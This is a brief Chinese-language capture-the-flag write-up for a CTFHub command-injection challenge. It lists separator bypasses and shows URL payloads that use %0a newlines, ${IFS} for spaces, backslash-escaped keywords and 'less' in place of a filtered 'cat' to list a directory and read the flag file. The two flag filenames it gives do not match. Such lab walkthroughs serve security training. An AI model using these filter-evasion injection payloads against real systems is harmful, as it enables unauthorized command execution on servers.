综合过滤练习
命令分隔符的绕过姿势
;
%0a
%0d
&
那我们使用%0a试试,发现ls命令被成功执行
/?ip=127.0.0.1%0als
发现一个名为flag_is_here的文件夹和index.php的文件,那么我们还是使用cd命令进入到文件夹下
http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd flag_is_here%0als
发现空格和flag被过滤,空格绕过前面已经讲述,这里就不在赘述,直接尝试${IFS}进行空格绕过,使用fla\g反斜杠转义flag
/?ip=127.0.0.1%0als${IFS}f\lag_is_here
成功读取flag_is_here文件夹下的内容
接下来,直接使用cat读取flag_300121897522180.php文件里的内容
发现过滤了cat,前面也讲过cat的绕过姿势,这里不在赘述,直接尝试less
/?ip=127.0.0.1%0Acd${IFS}f\lag_is_here%0Aless${IFS}f\lag_3879302014865.php
命令执行成功,查看页面源代码得到flag